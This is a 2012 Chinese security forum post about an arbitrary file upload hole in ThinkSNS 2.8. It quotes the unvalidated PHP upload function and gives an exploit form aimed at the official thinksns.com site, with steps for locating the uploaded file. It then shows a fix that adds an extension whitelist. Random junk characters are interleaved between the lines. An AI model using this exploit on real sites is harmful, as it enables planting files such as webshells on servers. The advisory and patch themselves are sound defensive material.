中国网络渗透测试联盟
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
[打印本页]
作者:
admin
时间:
2012-12-4 11:12
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
. f! }# o! _5 t4 ]
. m7 Y4 ^+ j. i# `/ x0 X! c
7 | w2 w$ ?$ i# P
\api\StatusesApi.class.php
; I- X, p0 |' x. H: B
( G: U- L. J/ F+ T% G
function uploadpic(){
5 E% ~- q/ n" N$ m8 ]
if( $_FILES['pic'] ){
: i: }" E! S) r5 V: B8 K
//执行上传操作
3 O3 Y5 y8 c: N4 h5 M& ~/ K
$savePath = $this->_getSaveTempPath();
9 t# R; O9 n% H- N, N* Y
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
, U, T7 X, ?1 j- L6 H
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
9 t4 ~- D0 S% q% }0 }. R/ x A
{
. H* Z- b; s4 f( [* z& [8 a
$result['boolen'] = 1;
5 s, R- |$ Z: P/ a
$result['type_data'] = 'temp/'.$filename;
0 w$ f) R) q3 d
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
5 d7 u: e% D& z/ U f; V
} else {
" T6 G9 I; r$ S, Y
$result['boolen'] = 0;
3 D; g: R" D8 ^
$result['message'] = '上传失败';
9 o$ H5 N3 o( K4 h+ J1 G9 }5 d: n2 {9 D
}
% \$ u4 d3 H4 B
}else{
+ |( k' [1 j0 ?
$result['boolen'] = 0;
- h" e5 ~8 C, M [7 h K
$result['message'] = '上传失败';
! `8 C# {/ P a/ f5 ]2 {: K
}
0 y. j/ n( O7 J) D, L$ h& Q. g0 R
return $result;
1 L7 E- B* a7 J
}
# M. t+ d. m) F
unloadpic()方法没有对文件类型进行验证
, d; y1 x, v B8 M; N( r2 ^. S
/ `$ r& q. ?3 w: p! X* l
可以构建表单, 选择任意文件, 提交到
1 B) ?% N9 s" j% [
/index.php?app=w3g&mod=Index&act=doPost
7 ^7 l" c; P+ C
4 s6 y) Z' \5 {1 G0 u9 W
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
. S9 l! o0 l( X" R; p7 x* h9 }
# @! d& O( G V$ n" F X% w8 c+ E
! D2 l1 x8 D) V: N6 F- i3 z
在登录thinksns官方微博后,
, q/ i# W' Z- t) r2 w! _8 E$ ]. u
构建以下表单:
# g- [: Z' J3 ^ ]: X2 H) K2 P/ D
2 j# o- M' S, J: f( A8 e
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
' Q; u; M2 x, {1 h( w5 h
<textarea name="content">test</textarea>
, c ^8 i: U5 C. _1 S
file: <input id="file" type="file" name="pic" />
+ {; z3 C; `8 W/ Y. w
<input type="submit" value="Post" />
8 n: K) \) Z- M: d! u- }" p. G4 o
</form>
. x* K3 x5 x- l- Q, E
去掉缩略图的前缀(small_ )
7 N9 r" f0 a4 C0 R" ]& c
修复方案:
, B- x! I! k5 }/ o* u" @$ _
4 @5 g9 W8 }1 j1 p4 @) X: k
# N* }# N2 y6 g! `' G: k
\api\StatusesApi.class.php
# Q) O/ O. Y0 O
8 E7 g5 A( `4 W
function uploadpic(){
6 y+ G. B7 l) z0 @- f2 i) s
/**
- \& y* W. @ |+ b6 m6 G* G7 c
* 20121018 @yelo
# S+ \; R3 t- t+ F
* 增加上传类型验证
0 W0 ^% z: |# X/ x
*/
/ ? [" S# B/ Q( I5 a
$pathinfo = pathinfo($_FILES['pic']['name']);
( G" @9 X6 r* w' f) Y3 s1 a
$ext = $pathinfo['extension'];
" i4 f5 b6 i: _5 z- |
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
: i7 [, l! P: {8 L# K& B" p
( N" Q3 G3 O" z0 k" Y
$uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
; K9 C2 e7 X4 z# L
4 c9 l+ O0 R. R6 J
if( $uploadCondition ){
) Y& V" a) \8 _! k; z
//执行上传操作
+ B6 t% u0 Q) j: G
$savePath = $this->_getSaveTempPath();
9 M; m, N# Z5 `7 m$ Y5 y% `* A
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
/ m+ ^( X* E. l: b! T
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
/ i4 \+ _& ^) F( I. }2 u/ v
{
; A* ?! I$ M, d. o5 b: p. E8 g, ~
$result['boolen'] = 1;
2 N9 T9 ?; D" S6 c+ B
$result['type_data'] = 'temp/'.$filename;
# w0 m# W6 V7 Y a, ]0 v O
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
/ Q5 {& R) f0 D# y [
} else {
6 T- }0 K1 S9 ~: O1 ]6 j) k
$result['boolen'] = 0;
+ H0 K5 k: }2 a. Q
$result['message'] = '上传失败';
9 t$ q+ ?. W; m) \/ J5 E6 X: V( g. s
}
, a1 Q h/ p5 Y: P
}else{
# E2 F2 f; B7 i' g, m9 }3 G
$result['boolen'] = 0;
2 D; e/ \8 T7 ^
$result['message'] = '上传失败';
, p1 w# d: t: P- O. ]3 f
}
3 P& Y$ D, @% l
return $result;
2 j8 ~5 y6 Q& d' N
}
7 `0 Z/ _" G. J5 N9 l
' x/ ?+ p2 O+ i3 U6 u8 W
' {% Y1 a' N% w6 c7 D5 d
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2